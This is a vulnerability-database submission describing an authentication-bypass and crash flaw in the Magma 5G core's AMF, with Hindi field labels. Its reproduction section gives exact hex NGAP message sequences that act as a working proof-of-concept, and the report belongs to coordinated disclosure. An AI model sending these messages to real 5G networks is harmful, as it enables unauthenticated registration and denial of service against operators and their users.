| शीर्षक | Linux Foundation Projects Magma 5G 1.9.0 Improper Authentication |
|---|
| विवरण | AMF accepts Registration Complete message after InitialUEMessage and the state is transitioned to REGISTERED_CONNECTED. This attempt to transition crashes the app as well.
To Reproduce
Start Magma Core with 5G support enabled and default configuration
Send the following NGAP messages sequentially
NGSetupRequest:
00 15 00 38 00 00 06 00 1b 00 08 00 00 f1 10 00 00 06 6c 00 52 40 05 01 00 52 41 4e 00 66 00 0d 00 00 00 00 07 00 00 f1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00 00 cc 40 01 00
InitialUEMessage:
00 0f 40 45 00 00 05 00 55 00 02 00 01 00 26 00 1b 1a 7e 00 41 79 00 0d 01 00 f1 10 00 00 00 00 00 00 00 00 10 2e 02 f0 80 10 01 00 00 79 00 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07 00 5a 40 01 18 00 70 40 01 00
UplinkNASTransport (Registration Complete):
00 2e 40 31 00 00 04 00 0a 00 02 00 16 00 55 00 02 00 01 00 26 00 0b 0a 7e 02 00 00 00 00 00 7e 00 43 00 79 40 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07
Impact
Incorrect State transition: Without authentication and security mode establishment, the gmm state is transitioned to REGISTERED.
Denial of Service: MME crashes and can cause denial of service
Authentication bypass: Due to the authentication bypassed, unexpected behavior may occur, no security context is established.
This issue was discovered several months ago. After chatting with the developer we decided to publicly disclose it and they will attempt to fix the issue. |
|---|
| स्रोत | ⚠️ https://github.com/magma/magma/issues/16020 |
|---|
| उपयोगकर्ता | shovon0203 (UID 96191) |
|---|
| सबमिशन | 15/07/2026 06:41 AM (2 महीनों पहले) |
|---|
| संयम | 29/08/2026 08:44 PM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 397063 [Linux Foundation Magma 1.9.0 Registration Complete Message tasks/amf/amf_fsm.cpp कमजोर प्रमाणीकरण] |
|---|
| अंक | 20 |
|---|